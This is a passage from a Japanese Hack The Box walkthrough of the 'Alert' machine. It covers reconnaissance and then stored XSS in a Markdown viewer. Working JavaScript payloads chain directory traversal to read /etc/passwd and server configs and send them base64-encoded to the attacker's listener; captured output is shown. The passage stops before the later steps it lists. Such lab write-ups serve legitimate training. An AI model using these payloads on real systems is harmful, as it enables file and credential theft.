- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新
- Webアクセスできるファイル/ディレクトリ調査
- Webサイトの動作確認
- Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
- Webアクセスできるサブドメイン調査
- Webサイトの脆弱性調査(XSS)
- XSSを用いた管理者からのアクセス情報取得
- 攻撃対象のマシン(Alert)上のファイル取得(messages.php)
- 攻撃対象のマシン(Alert)上のファイル取得(/etc/passwd)
- 対象のマシン(Alert)上のファイル取得(/etc/apache2/sites-available/000-default.conf)
- 対象のマシン(Alert)上のファイル取得(/var/www/statistics.alert.htb/.htpasswd)
- SSHログインを用いたalbertユーザー権限のシェル奪取
- 特権昇格
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Alert」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新
(3) Webアクセスできるファイル/ディレクトリ調査
(4) Webサイトの動作確認
(5) Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
(6) Webアクセスできるサブドメイン調査
(7) Webサイトの脆弱性調査(XSS)
(8) XSSを用いた管理者からのアクセス情報取得
(9) 攻撃対象のマシン(Alert)上のファイル取得(messages.php)
(10) 攻撃対象のマシン(Alert)上のファイル取得(/etc/passwd)
(11) 対象のマシン(Alert)上のファイル取得(/etc/apache2/sites-available/000-default.conf)
(12) 対象のマシン(Alert)上のファイル取得(/var/www/statistics.alert.htb/.htpasswd)
(13) SSHログインを用いたalbertユーザー権限のシェル奪取
(14) 特権昇格
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) 「nmap -sS -sC -sV -A -p- -Pn –min-rate 5000 10.10.11.44」コマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP (80/tcp)が応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 22:50 JST
Nmap scan report for 10.10.11.44
Host is up (0.32s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
12227/tcp filtered unknown
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 199.64 ms 10.10.16.1
2 197.13 ms 10.10.11.44
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.94 seconds
名前解決のためのhostsファイル更新
(1) ブラウザを用いて「http://10.10.11.44/」にアクセスすると、「http://alert.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.44 alert.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.44 alert.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://alert.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://alert.htb/css/style.css」や「http://alert.htb/css/style」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ feroxbuster -u http://alert.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200 GET 182l 385w 3622c http://alert.htb/css/style.css
302 GET 23l 48w 660c http://alert.htb/index.php => index.php?page=alert
302 GET 23l 48w 660c http://alert.htb/ => index.php?page=alert
301 GET 9l 28w 308c http://alert.htb/uploads => http://alert.htb/uploads/
301 GET 9l 28w 304c http://alert.htb/css => http://alert.htb/css/
200 GET 182l 385w 3622c http://alert.htb/css/style
301 GET 9l 28w 309c http://alert.htb/messages => http://alert.htb/messages/
ーーー(省略)ーーー
(2) GoBusterを用いてアクセスできるURLを確認すると、特に気になるレスポンス結果はない。
$ gobuster dir -u http://alert.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Alert_80.txt
ーーー(省略)ーーー
/.htpasswd (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/server-status (Status: 403) [Size: 274]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認すると、「http://alert.htb/contact.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ dirsearch -u http://alert.htb/
ーーー(省略)ーーー
[00:37:23] 200 - 24B - /contact.php
[00:37:24] 301 - 304B - /css -> http://alert.htb/css/
[00:37:47] 301 - 309B - /messages -> http://alert.htb/messages/
[00:38:04] 403 - 274B - /server-status
[00:38:04] 403 - 274B - /server-status/
[00:38:16] 403 - 274B - /uploads/
[00:38:16] 301 - 308B - /uploads -> http://alert.htb/uploads/
ーーー(省略)ーーー

Webサイトの動作確認
(1) ブラウザを用いて「http://alert.htb/」にアクセスすると、「http://alert.htb/index.php?page=alert」にリダイレクトされる。
本Webページ(Markdown Viewer)はMarkdownファイル(.mdファイル)をアップロードして、閲覧することができる。
(2) 上部の「Contact Us」をクリックすると、「http://alert.htb/index.php?page=contact」にリダイレクトされる。
本Webページ(Contact Us)は問い合わせメッセージを入力して送信することができる。
(3) 上部の「About Us」をクリックすると、「http://alert.htb/index.php?page=about」にリダイレクトされる。
本Webページ(About Us)はテキストのみで特に気になる情報はない。
(4) 上部の「Donate」をクリックすると、「http://alert.htb/index.php?page=donate」にリダイレクトされる。
本Webページ(Donate)はMarkdownを見易くする画面のようですが、使用方法が分からなかった。
Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
(1) ffufを用いて他にどのような.phpファイルにアクセスできるか確認すると、「http://alert.htb/messages.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://alert.htb/FUZZ" -ic -e .php
ーーー(省略)ーーー
.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 202ms]
contact.php [Status: 200, Size: 24, Words: 3, Lines: 2, Duration: 203ms]
[Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 205ms]
index.php [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 205ms]
uploads [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 210ms]
css [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 212ms]
messages.php [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 218ms]
messages [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 218ms]
.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 217ms]
[Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 218ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 218ms]
visualizer.php [Status: 200, Size: 633, Words: 181, Lines: 26, Duration: 256ms]
:: Progress: [441092/441092] :: Job [1/1] :: 171 req/sec :: Duration: [0:41:01] :: Errors: 0 ::
Webアクセスできるサブドメイン調査
(1) ffufを用いてアクセスできるalert.htbのサブドメインを調査する。
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.alert.htb" -u http://alert.htb -fw 20
ーーー(省略)ーーー
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 213ms]
:: Progress: [100000/100000] :: Job [1/1] :: 160 req/sec :: Duration: [0:09:03] :: Errors: 0 ::
ーーー(省略)ーーー
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.44 statistics.alert.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.44 statistics.alert.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://statistics.alert.htb/」にアクセスすると、Basic認証のログイン画面が表示される。しかし、ログイン画面の認証情報が分からないためログインできない。
Webサイトの脆弱性調査(XSS)
(1) XSSの脆弱性があるかどうか確認するために、ポップアップを表示するプログラムを作成する。
プログラムは「https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/xss-in-markdown.html」を参考にして作成している。
【ファイル名:XSSalert.md】
<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSSalert.md)を選択する。
(3) 選択したプログラム名(XSSalert.md)が表示されていることを確認し、「View Markdown」をクリックする。
(4) 「http://alert.htb/visualizer.php」にリダイレクトされて、JavaScriptのalertのポップアップが表示されるため、「OK」をクリックする。
JavaScriptのプログラムを実行できたため、visualizer.phpにはXSSの脆弱性があることが分かる。
(5) 再度ポップアップが表示されるため、「OK」をクリックする。その後、「Share Markdown」をクリックする。
(6) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。ポップアップが表示されるため、「OK」をクリックする。
※「XXXXXXXXX.md」は随時生成される乱数。
(7) 再度ポップアップが表示されるため、「OK」をクリックする。
XSSを用いた管理者からのアクセス情報取得
(1) Kali LinuxのIPアドレスを確認する。
$ ip a
→VPN用のIPアドレスを確認する。今回のIPアドレスは「10.10.16.6」。
(2) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。
【ファイル名:XSSalert2.md】
<script src="http://10.10.16.6:3000/pwned.js"></script>
(3) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSSalert2.md)を選択し、「View Markdown」をクリックする。
(4) 「Share Markdown」をクリックする。
(5) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
※「XXXXXXXXX.md」は随時生成される乱数。
(6) Kali Linuxにて3000/tcpで待ち受ける。
$ nc -lvnp 3000
listening on [any] 3000 ...
(7) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。
(8) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があるため、問い合わせを受けたWebサイト管理者からアクセスがあったと推測できる。
$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 58160
GET /pwned.js HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
攻撃対象のマシン(Alert)上のファイル取得(messages.php)
(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。
【ファイル名:XSS3.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>
(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS3.md)を選択し、「View Markdown」をクリックする。
(3) 「Share Markdown」をクリックする。
(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
※「XXXXXXXXX.md」は随時生成される乱数。
(5) Kali Linuxにて3000/tcpで待ち受ける。
$ nc -lvnp 3000
listening on [any] 3000 ...
(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。
(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータにmessages.phpの内容が表示されていることを確認する。
$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 56208
GET /?content=PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg== HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
(8) messages.phpの内容を確認するためにBASE64でデコードする。fileというパラメータにファイル名を指定しているため、ディレクトリトラバーサルで任意のファイルにアクセスできる可能性がある。
$ echo "PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==" | base64 -d
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
攻撃対象のマシン(Alert)上のファイル取得(/etc/passwd)
(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。
【ファイル名:XSS4.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/passwd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>
(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS4.md)を選択し、「View Markdown」をクリックする。
(3) 「Share Markdown」をクリックする。
(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
※「XXXXXXXXX.md」は随時生成される乱数。
(5) Kali Linuxにて3000/tcpで待ち受ける。
$ nc -lvnp 3000
listening on [any] 3000 ...
(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。
(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータに/etc/passwdの内容が表示されていることを確認する。
$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 57278
GET /?content=PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
(8) /etc/passwdの内容を確認するために、BASE64でデコードする。albertユーザーにログインシェルが設定されていることが分かる。
$ echo "PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg==" | base64 -d
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>対象のマシン(Alert)上のファイル取得(/etc/apache2/sites-available/000-default.conf)
(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。
【ファイル名:XSS5.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-available/000-default.conf', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>
(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS5.md)を選択し、「View Markdown」をクリックする。
(3) 「Share Markdown」をクリックする。
(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
※「XXXXXXXXX.md」は随時生成される乱数。
(5) Kali Linuxにて3000/tcpで待ち受ける。
$ nc -lvnp 3000
listening on [any] 3000 ...
(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。
(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータに/etc/passwdの内容が表示されていることを確認する。
$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 33734
